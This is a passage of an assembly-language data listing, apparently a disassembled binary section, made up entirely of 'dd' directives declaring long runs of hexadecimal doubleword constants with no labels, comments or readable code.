88FE0283h, 3A07ED93h, 1A822B40h, 0C83EB726h, 0F66EF42h dd 3BBF4282h, 4E168045h, 6D230C3Ah, 0E7273F00h, 0F4E2824Dh dd 0D958C00Eh, 28BA5A7Ah, 38564400h, 0FEDEA506h, 5B3781Ch dd 0BFA10735h, 4284466Ah, 0F87B912Bh, 0E3810868h, 0DEA06214h dd 6D34A06h, 0E2480228h, 0FDF1283h, 6482F06Ah, 34453D44h dd 7A807B91h, 668737CAh, 0B1F6448Ch, 8ECA6300h, 9902CE87h dd 852D068Ch, 68357312h, 0F826592Ah, 0DBD77100h, 2C7B77A7h dd 41550F9h, 0B4723D51h, 0C2A58F4h, 0FA5F883h, 0C355D900h dd 0E1D8619Ch, 38CA30F6h, 0EC1E8D19h, 5C00D4E0h, 0A7B36DFEh dd 75B18Ch, 973A7793h, 74EA856Ah, 0E1014899h, 14E07A4Fh dd 5F1D6476h, 744A2127h, 97164708h, 6C6F26h, 8621B1C6h dd 41BF1187h, 0FBD02060h, 0E1DB2941h, 7022FE23h, 0E3187E3Ch dd 0FFEA29C5h, 84480848h, 2A016DCFh, 3427E3h, 12F2BED3h dd 6060F681h, 50ECB444h, 7AAE710h, 0ECAC5CB0h, 64177B70h dd 4408832Ch, 26250106h, 28AF9A41h, 3D74C098h, 8C2D8478h dd 493444h, 0BDCC3D2Ch, 2A14183Fh, 60BCB050h, 0A6F8DA06h dd 9289973h, 0DF34B0Ah, 4658A414h, 8C6EE824h, 0CEC82751h dd 6239E02Eh, 61FC667h, 2BA1FF21h, 74076076h, 5704DE37h dd 0E1705FF7h, 90A6A907h, 0A15C4FB0h, 887C4E68h, 0B26BC0E2h dd 0B9C704CBh, 0A6F0B320h, 1CF5AF39h, 81018370h, 0F8A3DBE2h dd 18C062A1h, 0BBC965E3h, 0CF940755h, 80298A43h, 99EC3CEFh dd 4F748309h, 0ABB0B075h, 0E8B224BFh, 8A3F5054h, 659C9854h dd 95E28113h, 0C0409448h, 872CCA71h, 0F5225E46h, 0E7F0B260h dd 50CB9985h, 748A9C68h, 467C90D9h, 0B733E2Ah, 1C4EBEA9h dd 7A920198h, 8687A7D9h, 8844CE64h, 54E37228h, 0FE395403h dd 0E8AC1732h, 0CB4A39Fh, 0EA9B57BEh, 88B0BFE0h, 88673735h dd 1123483Ah, 728D1D00h, 0B7C0FEh, 4B178861h, 8FABD2E4h dd 68C0E3E6h, 0BA3EC514h, 0D489248Eh, 0ABDA0112h, 9FF29AB7h dd 0EA006520h, 8F94B049h, 0F5E00FADh, 0F7448272h, 0B1648728h dd 0F2E16C0Dh, 54AD082h, 0B583CF00h, 31DCA9D8h, 0D9DB4884h dd 0F268B2F2h, 1DAD30F7h, 16553900h, 0E17A0CC5h, 27093263h dd 14614F60h, 0C20EE27Bh, 97673A1h, 32136882h, 3855CC5h dd 0CC41265Eh, 80B5F79Dh, 0BC804038h, 0D946742Ch, 7A12C100h dd 0B8C6AC4Bh, 625600CEh, 64334AE5h, 0E04826Bh, 67E463B4h dd 77086890h, 9EF7DF3h, 0E2EE56D0h, 0ABF6BC90h, 0E446994Ah dd 27E17E65h, 0D0177AF1h, 2B803891h, 83FB03FAh, 0A2A7E01Eh dd 672F4B44h, 73E824B5h, 7A2100B5h, 0CA11D1D2h, 56005971h dd 653BF5A0h, 2EC40Dh, 1105EA2h, 6F6C45EFh, 3900D874h dd 0F82ABD07h, 7C94E5Ah, 1156031Ch, 21E0461Dh, 0F80023F4h dd 193853B3h, 11E668C2h, 0DC6F29h, 7017E203h, 1230DFh dd 25404A90h, 0B61BDBB0h, 0C67C7E7Dh, 0C06A79C8h, 4E58F828h dd 911D1921h, 211600E2h, 0FA4FC1F8h, 0E97976h, 2EDEC892h dd 0DCF6B5D8h, 7C3B6E0Fh, 0EEA503ADh, 8A1006BBh, 8033AC5Ah dd 51392B06h, 504675h, 0C86365DDh, 0A34CD922h, 7CD0D119h dd 21805C08h, 0EDC86B0Fh, 0B00C7918h, 4830744Ah, 0BF380FCEh dd 7560454Fh, 1E5CC4Eh, 76FE4FBh, 37AE2719h, 0CA804540h dd 53B21B98h, 0BA3351B1h, 3F0843h, 98557721h, 0F5C84248h dd 1174606h, 81596Eh, 0F8B7BDD4h, 0FC1C6B89h, 14794600h dd 8AADCF20h, 6AE0C3AEh, 304050C4h, 48C69A8h, 4E59F81Dh dd 2FDE6211h, 7BF816E0h, 1A011448h, 0B650F372h, 5881CE52h dd 8D8B5A86h, 589C52A9h, 11C86030h, 8864D91Fh, 6806805Eh dd 69323AC8h, 1F014690h, 0DC5097E4h, 9447E03Dh, 1444E1C0h dd 0D18A1422h, 2C239C71h, 2A985C01h, 2D18FBB2h, 2547C88h dd 8EC3BD98h, 64406752h, 0F00A8C5Dh, 5C956284h, 64805491h dd 44D923C8h, 1262448Ch, 57C86C1Fh, 0D4588FC1h, 71833AD8h dd 6FEE2EB0h, 0CF2D6800h, 71B98AC1h, 9E961812h, 83301962h dd 0D8532805h, 0C808A33Ch, 0F827C06Bh, 41484E5Bh, 201BE070h dd 74B98F8h, 6FE15219h, 8B43FE17h, 892C28B8h, 8003FB41h dd 0E8F70984h, 5137302h, 0D4B8B2E6h, 0E4881DE8h, 606E64ECh dd 7754F824h, 4440A44Eh, 18901AE5h, 8DCD9D01h, 4F75A079h dd 229C48h, 0D4A8AB38h, 32645A88h, 0D8098490h, 0E3CA8Dh dd 7451C118h, 1618CA08h, 802A11E8h, 0B2249856h, 20448CEBh dd 984E007Eh, 1CAFD3C1h, 9D06C897h, 0B285CED2h, 5C0C1861h dd 27B8915Dh, 570539DEh, 63C0E9F8h, 0DE263Ch, 4E03416Eh dd 6FFE6C5Ah, 2D977707h dd 0BBE12762h, 39800FD0h, 0A863E38Eh, 2E054AFEh, 0B88D7AABh dd 0F087F823h, 1869E51h, 0CD12431h, 0CD71BBA3h, 88EC4E57h dd 0B5C8C0EBh, 0C907B070h, 0DEE5FC83h, 7C8E4F64h, 40CF2088h dd 86D309C8h, 5F8C0E9Bh, 0AF49B5CEh, 0B7AEDC10h, 2524684h dd 0D925C862h, 105B3174h, 5CC86A10h, 4E041906h, 0C465EB51h dd 23242EA8h, 60DA005Eh, 0D6F27203h, 5D080204h, 0C8C151BFh dd 55083DB0h, 0C87F048Ch, 626CD91Eh, 67032069h, 0AA007FC8h dd 60E5F359h, 187CBE1h, 0AFD08C5Ah, 401909D4h, 0B27CFBACh dd 39847648h, 875C001Ch, 7F50C072h, 93151D0Bh, 0B99680E1h dd 586DB1B3h, 18D4BC26h, 80E100DEh, 0CEFBF6D9h, 4A127AF0h dd 90421FA4h, 0CA0EB5h, 1DE05290h, 70EC4082h, 4777C58h dd 0D116DDEDh, 0A74C9006h, 5F008720h, 3D71F98Ah, 0E8721182h dd 4821C40Eh, 524F8028h, 7D30E4D6h, 0D7C4F0B7h, 59FC18D5h dd 0C9CF1005h, 6DCC5508h, 905B010Eh, 0CDBD8FA6h, 589081C8h dd 0DD85D4D6h, 87020A4h, 750C6C1Ah, 7D5E151h, 0CE5EBA63h dd 0E90CA8E8h, 30E7918Eh, 0A429556Eh, 7E00FA38h, 0A2FE0F90h dd 2AD66Bh, 511C9F41h, 8D67155Ah, 1D0AD4EFh, 0B031250Ch dd 42C95007h, 9F50068Ah, 0E902D1h, 867A58DEh, 5995F397h dd 0E8701F58h, 6018CDFh, 6E8C7A62h, 7C721E52h, 1EC36888h dd 294E91F8h, 88EC2848h, 0F8021718h, 0FAB7ADE5h, 91B44684h dd 0C14A80D0h, 58BED191h, 3A5D5100h, 0C0DE08E5h, 1D73284Dh dd 0D0FA00D4h, 2F7CBFD6h, 0AF05B79Fh, 0BCB2BDD8h, 0D2E893h dd 0E7C62E71h, 0F0FF1BE5h, 0AD0AC1EAh, 0E4481799h, 8C3A54C5h dd 0F100B923h, 0A1295762h, 18AA0041h, 0A30AF524h, 0B830A60Eh dd 0D0B7D126h, 0CE553A12h, 9E0C2F07h, 0F07DA0EEh, 51006BA5h dd 815DCC38h, 24A9BA1Dh, 11687A60h, 871F8013h, 43218A7Eh dd 0E4162272h, 0F8870027h, 0DE34DFBEh, 2A04F7ECh, 607571C9h dd 1CA53090h, 0BA9C00AFh, 61E7409Bh, 0B31D51EEh, 0EC028BDh dd 62961198h, 1FECA06Bh, 0CF8C265Bh, 8221CFB4h, 58FB20A6h dd 0B10D48DCh, 3845768Eh, 266E95F4h, 0C0C82807h, 0B21E9820h dd 21225B46h, 98587800h, 350FF76Ch, 8C34151Ah, 5006B4DBh dd 80AB1D84h, 2E7EB20Ch, 199B6860h, 18B815CCh, 1C984278h dd 11872230h, 88098A65h, 2A3E80E0h, 22E2BA87h, 58E1E500h dd 0F550C2F8h, 0D6F9009Bh, 0A6E4F43Ah, 0CCA356B7h, 63094B88h dd 25181581h, 8A608708h, 40DFC411h, 24872D47h, 0CC94062Ah dd 0D9E968DEh, 0C9F27A02h, 602906B3h, 14BCBA78h, 0B8848E47h dd 1236B2C1h, 52F0815Ah, 0B386CFCCh, 38A07867h, 6B0553FCh dd 0BC2C6C47h, 7044D48Ch, 0C5E3014Dh, 69E4C662h, 24883219h dd 465EF0EEh, 0BAB200DFh, 0FCA63504h, 96B13AF0h, 4EC85DB0h dd 28E1D9CCh, 8C2DECF4h, 2E0F8805h, 8C217ACAh, 0D1032CF8h dd 56BC40CDh, 5418BA8Fh, 79733800h, 0A47BCAABh, 0E50F09B2h dd 2081DC28h, 0DC72ADEEh, 50032A9h, 40E15916h, 98546331h dd 58E700ACh, 0DA83D5F6h, 805652Bh, 22D46A7Ch, 3DB84081h dd 55F99980h, 90573FFCh, 3460A57Ch, 0C43A8B19h, 0DC971364h dd 0E68200D2h, 7EB6396Ah, 0A4FC4125h, 1B6067E0h, 4E291FF8h dd 17C0B021h, 26F814h, 9E3DC6A0h, 7E3387D8h, 0F55D20A1h dd 14D77074h, 8811D22Ah, 0F806CF00h, 6AF9DFC1h, 7CC30FE7h dd 0C4E0B987h, 0C60C3341h, 3544FB00h, 1F7F5DE6h, 6920182Dh dd 0B2344855h, 8D01EF2h, 0E1289B08h, 48226ED6h, 1F3022F2h dd 0E8A801C5h, 5A88E90Fh, 0AC81FECCh, 800AD1D6h, 0F687A9B9h dd 942EB9h, 99845320h, 967B055Eh, 57689501h, 0FEB25B27h dd 517D3180h, 0D40E0F53h, 68A08064h, 5BF258E2h, 1794D30h dd 6C9CDC2Dh, 0D96AB2A9h, 13A08919h, 6004037Fh, 90B3C420h dd 8F305DA2h, 354F0419h, 4029AD54h, 77659ABEh, 17F60049h dd 46193772h, 0B9B085B1h, 0FC0F872Eh, 39275C08h, 2D6E5986h dd 0F6581426h, 0CAEA1080h, 0DFE88858h, 0AAD4008Ch, 0C5C3BC9h dd 3325BE4Ch, 756CA486h, 79D7A8E4h, 436E0740h, 90410ACAh dd 0D905F7B7h, 0E62EBD10h, 0CC9C1D02h, 0F442AA31h, 5C478892h dd 0EE602144h, 0DB24E696h, 0A039FCB6h, 0DC840C76h, 0C560AE51h dd 50708CA1h, 0CAADD8C8h, 9088E167h, 331A8C3h, 0FBA5D418h dd 8AE0778Eh, 0B6185118h, 52516236h, 0CA6A02FCh, 0B8824FB2h dd 31788CA0h, 7F6E07AEh, 85D0A011h, 0A197084Ch, 0A44090E8h dd 0C1755835h, 0BA1EDD21h, 495C2DC8h, 40173A94h, 0FE200013h dd 53C15140h, 504967C4h, 0A5840EF0h, 0F1A9C283h, 22E0844Dh dd 63872460h, 11598A23h, 2C44001Ah, 0BD697687h, 124903A9h dd 0E759DC47h, 0CDC2F4F8h, 0A5D91805h, 8C00D2CEh, 8C8452E2h dd 99C982Eh, 98A086B6h, 0BB4888h, 7665A190h, 0DA6352BEh dd 0D894B030h, 0F4C607D1h, 57C900E9h, 0A4A3C92h, 2E26B5C0h dd 0BCBF68A2h, 10A4D4D4h, 9457CC26h, 0CE14A420h, 0AC6CEFE1h dd 0F4FE8CE0h, 39F9F58h, 0D1BC9573h, 942143F0h, 163013A2h dd 0D0D0546Ah, 80221E95h, 537E0710h, 0B070A74Ah, 0D349FDE2h dd 8D391760h, 0CE9A35h, 5C1E15C5h, 0FD476EE5h, 0F0858C00h dd 3122EBB8h, 1FE0C8F8h, 628723C0h, 0DC015C8Ah, 872B41E0h dd 29043400h, 88BD96D0h, 7B970098h, 0E0F9CEFDh, 0D1308550h dd 0AF073104h, 0A2D60153h, 4A46AD25h, 0F1E3FC35h, 0C1845809h dd 39880002h, 14C6CEEEh, 0E0EB8A85h, 6901070Eh, 8050582Ch dd 0A0D13A20h, 820CC89Ch, 4360908Eh, 0A87C3B74h, 88611E03h dd 12AD842h, 144D4520h, 4E81172Dh, 99F61120h, 0C056E780h dd 80D814Bh, 0C9FCD206h, 16D85C20h, 8BFDC557h, 0C05FC88Ch dd 6ABC4E7Bh, 808CD358h, 0C1CFD78Eh, 7CE07CADh, 4EB90153h dd 0C7AFD6F8h, 1B42D75h, 0F36AC6A9h, 5DC8DFDAh, 42120078h dd 2253ED2Fh, 0B0160592h, 5C88D3C2h, 8E362212h, 39517013h dd 30266832h, 2811985Ah, 2E884BB2h, 98527A80h, 966F1618h dd 0B14C8B50h, 7F20B58Eh, 0DF7AADFEh, 0C8B97702h, 0A105BA5Ah dd 2AF6E798h, 11802271h, 57234B19h, 0CE26B791h, 22270485h dd 0C713905Ch, 605BC44Ch, 89CB38h, 0A9A4B77Fh, 0F0E344E1h dd 588915Ch, 15FD57BFh, 0B0C80CC4h, 28316B20h, 5EEFB903h dd 0D08C4295h, 0AC7009FCh, 137E3425h, 0A9D9E1E8h, 0B8848105h dd 84AE0094h, 18AD6FA1h, 0BCD1C740h, 762D2E37h, 160C825Fh dd 5A54E067h, 5C69F1B8h, 54B0058h, 0B2611C88h, 12D2384h dd 0B21D981Fh, 882B1843h, 98005779h, 4EB3EAEFh, 941105FCh dd 0EC97AD50h, 2E80B991h, 0B09D760Dh, 31D7633Eh, 363848FFh dd 606262F5h, 3AF1D935h, 2B2324h, 4F9F15FAh, 0E04F31FCh dd 5B4A4044h, 0A678FD00h, 9C9EB562h, 1339C88h, 2F96B630h dd 0B2BC44EFh, 31E5F27Ch, 0F4CAD433h, 8AD43209h, 4AF801C2h dd 346C06BFh, 23942F4Ah, 1883020Eh, 4848566Eh, 4D74371Dh dd 8E00E6FEh, 2C3323EFh, 1F95354h, 0D4D87C1Bh, 248A6E83h dd 3854ADD4h, 82046690h, 0ABF67472h, 304E8492h, 0F911C866h dd 688854D8h, 0C86E0C80h, 3F2C57h, 0C0A96D60h, 12584282h dd 3B95A0A0h, 0BB5A28C7h, 0C0D666h, 6B8BA482h, 0A5CF29E0h dd 84A32273h, 69BA73E0h, 0D0CE1706h, 813101D7h, 1E182090h dd 2B608748h, 1B119029h, 87264200h, 743770AFh, 8BD91600h dd 50559206h, 58594984h dd 42906403h, 0A83E1474h, 0CFC0815Ah, 9D7E339Eh, 68F10702h dd 791CEB79h, 36B7DC04h, 1C848F22h, 0ADBD8006h, 0E86F30A1h dd 0FFF86D31h, 74F46200h, 0FBF1E5A1h, 381903FAh, 0A7EC77C4h dd 62B272F8h, 0A8153434h, 21946C82h, 6878520Ah, 0BD9204F0h dd 2059056h, 239C3EDDh, 9B580014h, 36AFC633h, 904B3E24h dd 0F86A6E1Fh, 5F4410A7h, 30B15A60h, 5875E718h, 0F7B5C19h dd 608309F5h, 89802BCEh, 0AE81250Dh, 0BCB9422Eh, 65CC9C82h dd 6C90E2D0h, 22B4624h, 0B2279859h, 597854F3h, 1B98E87Bh dd 3B330400h, 52AFC15Fh, 0D9924E4h, 2E180404h, 43B8E042h dd 4084D800h, 7C17D0AFh, 0C54A2583h, 14911097h, 0B7E90680h dd 0BED186h, 0BD52680h, 5C0A9CA3h, 29090262h, 0D090B55Bh dd 884A6A8Ah, 842FC00Fh, 58ACEEA0h, 8CE5B8h, 80DF176Fh dd 0DAD0FB9Bh, 0BFA2A503h, 44D4FDF7h, 15B28C8Eh, 0F0820E36h dd 317F5A22h, 1DB9B000h, 0DB0DD579h, 693A04FCh, 0B35E7890h dd 10A04824h, 6D004DBEh, 8790A915h, 86B44B8h, 0E4C8C560h dd 347D602Dh, 880B390h, 89130F11h, 99A106EFh, 0DB3110B5h dd 0DF2120F1h, 0D4F0DD00h, 0E3E0FF1Fh, 8233B503h, 4B497CE7h dd 0D2AC49D0h, 0A61B9010h, 35B41A02h, 929EB097h, 799079C4h dd 24231813h, 11909890h, 0C8618057h, 0BE7CD924h, 0D4055930h dd 930090C8h, 0B294DEF5h, 9966298h, 5A36B020h, 9124B860h dd 0F0FDD033h, 5B00C4ADh, 8DCE7774h, 80C96625h, 408AA53Ch dd 16050053h, 384457A8h, 0C92D2E9Ah, 34B7D6h, 0FB0EF0BBh dd 90036BE1h, 2EC4277Eh, 0F8A8FCCEh, 8CDEECh, 6C01C38Fh dd 0AF4A70C4h, 2C843E4Bh, 1A23BC3Ah, 1E645200h, 12E3C581h dd 3A38F58Ah, 21323D8h, 205A0250h, 0AFDBA483h, 0C73C9BDDh dd 63806750h, 3BCF066Eh, 1755998h, 0B5BFB030h, 411BFDD4h dd 0DCE205E0h, 0A8E1DCC6h, 8604B240h, 0A5313427h, 61F2C4F2h dd 8207931h, 7D02E79Ah, 0FD58A444h, 5D710070h, 50E27EA2h dd 36113886h, 96C002DFh, 88C03CADh, 2F813E48h, 9DD4BD31h dd 79E4916Eh, 1C4D182Eh, 184A9001h, 341D5026h, 6E028CE2h dd 38550AE1h, 0BA8A053Ah, 824BAC04h, 0C839DCB5h, 921D3CB8h dd 6F97C523h, 0DCAB1C90h, 0B00400B9h, 0B591FC16h, 924C75E6h dd 223A2208h, 24F08F34h, 9DF9C72Dh, 8EDE1134h, 6D910105h dd 0C441EAADh, 507E4FAh, 6C80C39Eh, 2CB46940h, 25B53644h dd 0F065EEDAh, 0E960DFC4h, 0E601E4C9h, 0CB6849C5h, 3470D0C2h dd 7CF89C3Ah, 90161446h, 0C81612CBh, 8D1F79A4h, 44C0432Ah dd 8320C450h, 0F30A2C10h, 8A67C008h, 395D3852h, 0E8603154h dd 6E002F34h, 48BBEFF8h, 2DCAA70h, 7EB1CFA6h, 612477B2h dd 81D0005Ch, 0A4B5D92Bh, 0F5FC500h, 0D2311F70h, 0CA2D1DB6h dd 4EB852Eh, 34C4900Dh, 0A4A8B581h, 0B30D8AFBh, 517075D2h dd 62A2E023h, 3AD55030h, 851E5373h, 9D4F00AFh, 6F622EB1h dd 79DC4082h, 7CA883A6h, 18C0460Ah, 4DF85F08h, 5157606Eh dd 13C28DFEh, 75A34B00h, 71E6A851h, 8CB201B8h, 85CE9D90h dd 5C1C2CC6h, 0AEBEE1B4h, 703E3423h, 0BF3E4A40h, 783BDB0Ah dd 300E023h, 94441CF8h, 8900358h, 53AE8612h, 0FC84C805h dd 54F3AA31h, 26302CB2h, 0CCBC0368h, 0DB4AA5D8h, 7D8BE102h dd 0C5B6EB0Eh, 0D6CC2414h, 41D27603h, 0D0DECE6Ah, 0FE91EAC4h dd 0B36B123Dh, 0F238F2E7h, 47123061h, 82868E2Dh, 7A690CE4h dd 832F0078h, 0A5D4C120h, 7700A830h, 49166A3Bh, 606E7CC5h dd 80B12978h, 88B6C39Dh, 0D2F804A3h, 10DA60A8h, 4ECF9760h dd 200B6600h, 70BCB67Fh, 908F02DEh, 5CD109B4h, 1DC08C8Eh dd 23AB7A3h, 8001643Eh, 0D9D53C67h, 38B98678h, 0BF1EF024h dd 0FE614089h, 0CD66697h, 9DD5A00h, 8F9C6258h, 0F8074F8h dd 0B2AE7473h, 0C15F57CFh, 7C1978EBh, 8CB8F040h, 0A4E0DD00h dd 8F2E80CAh, 3614381Eh, 717AD07h, 52AFC091h, 0D51DE44Fh dd 0D44E7694h, 0F8784061h, 0E77179h, 0E8651029h, 0B534B199h dd 0D400CAE4h, 0D7982B80h, 343BFh, 0E69775EFh, 24DD492Ch dd 23083Bh, 0CC4099C6h, 0AFF23Ch, 902E2B75h, 79CF5313h dd 0B9925100h, 0C605256Ah, 9FF41246h, 6EF0001Ch, 8768C4B1h dd 4D372B09h, 203F8FF9h, 2FEF40E5h, 6FC100E0h, 0CEAC1AE1h dd 0C03E63E3h, 0C9D3009Dh, 4C084D77h, 0E52C0065h, 0E1F53F69h dd 222A0293h, 98C0D8BAh, 132ED03Ch, 1A660FC0h, 0FB00776Fh dd 7112CF60h, 0B3E31406h, 68C740h, 5B860635h, 0CAD07E3Dh dd 1590F860h, 9A5DC2h, 6C1110C6h, 3E63BF37h, 0B503CBF8h dd 0A5B25ACh, 3DD8E62Ah, 0F6094128h, 1C2250D0h, 0F6C3B9A2h dd 0F7249FC0h, 3F34A3Ah, 54794723h, 69BE0Eh, 98AF7C9Bh dd 1E46098Bh, 8CF7441Dh, 806523CEh, 0A07D7B88h, 9CE73F98h dd 0DD29C000h, 85018FC7h, 28125D1Fh, 0C9F56040h, 7AED9A36h dd 9E8200F3h, 373A3CB2h, 790071E3h, 0AE15D11Ah, 3C7FD4ADh dd 0F400781Ch, 9AFBD66Fh, 1B001027h, 0D0C8D58Bh, 9D7A47h dd 0E307ACAEh, 25685CD9h, 50F2741Dh, 637E8100h, 49C1C46Bh dd 5E0094EEh, 0C9ECA856h, 0CF0085BAh, 8F93208Dh, 78328247h dd 2D56005Ah, 4FC519ADh, 8A1FE6CFh, 8E12B845h, 75C84C00h dd 0D146AFh, 0E6704B55h, 88BC563h, 650EE804h, 25C07E48h dd 50BC19h, 0F6C24EEBh, 8F617085h, 0DE6C6000h, 83DA0276h dd 7FF603h, 0F6780A3h, 5B75B4C3h, 87AA3800h, 45E29EC4h dd 0F0C749FCh, 0E11C7B48h, 9888C062h, 0F432149Bh, 0E64BBE00h dd 582849A1h, 15D2001Fh, 567BD706h, 0A903119Bh, 3821B3D3h dd 0D4F100BBh, 8F1DE6FFh, 0F626AAA8h, 29405C07h, 771A0BAh dd 305B704Fh, 1BE2D093h, 5E00E5FCh, 0B80E1942h, 64FFFEAh dd 9CBEAD73h, 6EEE2E2Bh, 9527E600h, 0AFA0AA2Ah, 1FCAE42Eh dd 808157C2h, 97C81A0Ch, 5C00E6F4h, 0BE086BB5h, 2B77493h dd 333D4C7Eh, 0E0605544h, 0CE008F9Eh, 861B226Fh, 34C4FFh dd 5A69F265h, 0FCDB2446h, 56E39D00h, 0D1C06E8h, 1B0F3032h dd 0EF288428h, 40666209h, 0C3E18044h, 605FB271h, 0BA07201Ch dd 0DC00311Ah, 41BE6AC0h, 0B5335Ch, 557FD6ABh, 0C2038EF6h dd 0AE89B800h, 481B8138h, 0C0423E71h, 97820280h, 69D6DA1Fh dd 90AC50C0h, 1536D7h, 5CFEEDADh, 13449377h, 0CC91713h dd 262200FFh, 70FC795Ah, 93F48B00h, 5F3B8CBBh, 66420167h dd 924C2E46h, 4BC824D3h, 3CA19E00h, 3ADF9409h, 0E76A00F4h dd 0E3340C7Ch, 54744EC3h, 8987DB00h, 0D5C95259h, 96200FFh dd 0CCB2730Ch, 0E4009F60h, 90D88E72h, 43AA3Fh, 0E99DFB3Eh dd 0DB2821A9h, 9601C17Dh, 42EF7BABh, 1C724374h, 0B2F426h dd 0FDDB7E7Dh, 0BCE2CF86h, 610B4098h, 0F0F2282h, 0A7261E6h dd 0C0201CAAh, 5C5A502Ch, 2C9F213h, 78DA7158h, 3C489FB3h dd 0DD003674h, 0B1D84638h, 0EE6A88D7h, 728107B3h, 43707B2h dd 9A8CD0B5h, 9300E4ECh, 9EBFF4BDh, 1D2A8FFAh, 0CB5EDA8Dh dd 3580E579h, 0A33A21D6h, 0ED7A3200h, 0A844FDA1h, 9D5200B6h dd 3BB60AFh, 0AE00EFE6h, 87387BF5h, 60D63081h, 0AC0118B1h dd 2E48F672h, 6F7100ECh, 0F2BADD05h, 8A1E007Ch, 0EA0650BFh dd 0F5009874h, 60D28955h, 4D8F4Bh, 2684F833h, 5CC8AEB1h dd 15C18B00h, 2AB52D0Ch, 66031D58h, 0DC984012h, 7D5419BFh dd 0FB8BA3Bh, 0E0E4281Dh dd 5E36FAD9h, 17CB01D0h, 513D395Ch, 0FCADECD1h, 0F39C9100h dd 3A09923h, 2E9D00C9h, 1C542CFEh, 86A0CCA7h, 0DB02E58Eh dd 0F91A43F0h, 0FF8D602Dh, 0AF0C008Fh, 0E4403638h, 54004406h dd 0CFF563D2h, 3DF32EA6h, 2B8028E0h, 497E7BBDh, 0FC01C4BCh dd 0B4EB2F01h, 5FE08C17h, 0A266000Bh, 0AFFAFFC9h, 6D01338Fh dd 0EE4C3B68h, 0BDC403C3h, 176FB08Eh, 1D98B6A5h, 0F6EF8000h dd 3B625E54h, 0C4236002h, 0C02976CAh, 7F2C9Ch, 0C8880295h dd 59B0B161h, 0BC60270Eh, 2229C28Dh, 816C7C4Ch, 0C3865BD5h dd 70DBC004h, 9C375700h, 0F39D4F61h, 337764h, 69E4D080h dd 25BC89D8h, 55B40E00h, 0A750D20h, 38410014h, 0F0D8CCCAh dd 0B1058481h, 0F239A2A8h, 6CF34FC0h, 0B82E010Dh, 45514DA5h dd 0EC468E3h, 816A71C9h, 0FDF9D076h, 888C24h, 0BBC516Eh dd 13B229B1h, 64E822E8h, 3C925618h, 16CB8B9h, 0A304D2D1h dd 0D024D8F9h, 7B00A13Fh, 84232D64h, 2B0D7Ah, 2A7F0A59h dd 29B9C5BAh, 218E140Ch, 505630CFh, 14672891h, 0A5354351h dd 4D80C000h, 0B427D1A3h, 80D5482Ch, 680D0F00h, 150ADFCh dd 4E511D69h, 2BC1B9AFh, 8F58DC41h, 71E4843Ch, 0E1903A65h dd 7D8A6909h, 3E69BC8Ch, 84982395h, 6A2805D1h, 0C0C4EFFEh dd 67551CDFh, 0ABE1C0FFh, 346DB3Fh, 0DA247D7Ah, 95E49041h dd 0A8CC002Ch, 28C14311h, 6007546h, 2C4FC27h, 0BD614DC3h dd 0B1E0E500h, 0A7079C71h, 0DCEFB80Fh, 90A99313h, 1CAA4AD5h dd 8263CD49h, 0F9CED6CAh, 465E145Ch, 0E68F000Eh, 70CC02D4h dd 809094D1h, 0D3BF845Ah, 0F9C432DAh, 654008D2h, 4E1300Ch dd 0AAAF1404h, 0F8A475FAh, 6FB300ACh, 184532C7h, 9A3AF6EEh dd 21DE00F0h, 20470DF3h, 0D881008Eh, 6EB10285h, 520B5C3Bh dd 59AAF9CCh, 1825D9BCh, 0A1530017h, 9C63264Fh, 3912EECAh dd 0F4A0A236h, 30D130D4h, 52AA6B31h, 2001905Eh, 6D57A92Ah dd 23782F6Bh, 0C51B1E5Ch, 0A8E28EB2h, 0BCCB975Ch, 0E0C126C8h dd 23F42877h, 5A55003Fh, 4290481Ah, 0A7952458h, 0B6C186BCh dd 0A0E2ABDFh, 3D8557D0h, 0E4FCA5EDh, 27BD6014h, 68F80424h dd 404B570Ch, 1B388325h, 0E16504DBh, 0AC598B50h, 286E5E80h dd 0B2F6A50Eh, 0D20B2941h, 8F44255h, 6B8AD410h, 86DC0CAh dd 26C136C0h, 62852EC4h, 875800AEh, 5C996406h, 0C86F6B25h dd 0CE6EE4h, 871A723Ah, 4134A61Ch, 13790300h, 0D636AF8Ch dd 120BC50h, 768EC42Bh, 4D10AD81h, 6691C06Ch, 7D3ADCF3h dd 6C205FA0h, 207503h, 4A79BF6Ah, 0D4B0CA3Dh, 3B2DA516h dd 0F8B738E3h, 0E888DAC3h, 4C92636h, 9285CF22h, 0BCAC84D7h dd 8B8E48h, 94B78F75h, 109502CFh, 0A87C0DC7h, 465E5454h dd 2E380064h, 6ADE7344h, 0EB300B2h, 847AB06Ch, 8A9F35CCh dd 467418F4h, 12EC012Bh, 0BB5AFCC0h, 5754492Fh, 36B5C402h dd 0E21CA4DEh, 593501C9h, 0E14462D0h, 8D842F00h, 85D1270Dh dd 0B0D7E8A5h, 5B160CF4h, 648E3A48h, 32C05CC8h, 5A96B01Bh dd 0FB6CC21Eh, 58A2E1DFh, 0AAC8302Bh, 80959842h, 0AE04E9Ch dd 49226C5Ah, 0A40488A0h, 9E2785C6h, 880F0085h, 0D2D1B9D1h dd 8A04C42Dh, 0AD101442h, 9E271060h, 0ADECA8A5h, 8CF30FEh dd 91B28307h, 0C680BF97h, 376067EAh, 1729AAD2h, 47403FC8h dd 0DA98CC9Ch, 474FB227h, 6021E454h, 1493495Ah, 0A0B5E492h dd 0F3D126C0h, 9100A5AAh, 66565C6Ch, 2F8479C4h, 0C897504Ah dd 0EE803F11h, 60478B5Eh, 8450FCF7h, 6883714Bh, 47A0E25Bh dd 615D447Ch, 58C4B169h, 149195C2h, 0CD79AF5Dh, 0A815C030h dd 443DF7B8h, 0FC508624h, 0E4A8A251h, 21835EBFh, 0FC395B1Ch dd 0E101A89Bh, 57197043h, 79F82FFDh, 6ED52CF6h, 3200DC3Ch dd 0F9912BECh, 0AF585B0h, 726A2AE9h, 50FD818Ch, 68C15EB6h dd 455A11DCh, 2D89301Dh, 0EAE4D4E5h, 0D88A8460h, 4082A52Dh dd 40D612Ch, 62905923h, 0F6749060h, 2412E26Bh, 78A649B2h dd 89713FE0h, 94290C14h, 0FE3110ACh, 0F61C135Fh, 0C954E0E0h dd 27BA0016h, 4AB88464h, 0FB8114CCh, 3B2A2831h, 62B23E8h dd 0A976056Bh, 0C82007EBh, 61A9CCB5h, 69FA1007h, 0A25833D1h dd 0B834305Bh, 0BA0DCCF9h, 4A90C304h, 60A832C4h, 85BCE491h dd 0E16E6A02h, 0F6E86288h, 0C2151CACh, 1D694E77h, 0DF7940F1h dd 781C4918h, 7C0B0A3Ch, 5ADCC84Ah, 290B62B8h, 4464530Ch dd 0F2BE5816h, 6A7C0C47h, 940E31EDh, 0EBC05F88h, 0F13790D6h dd 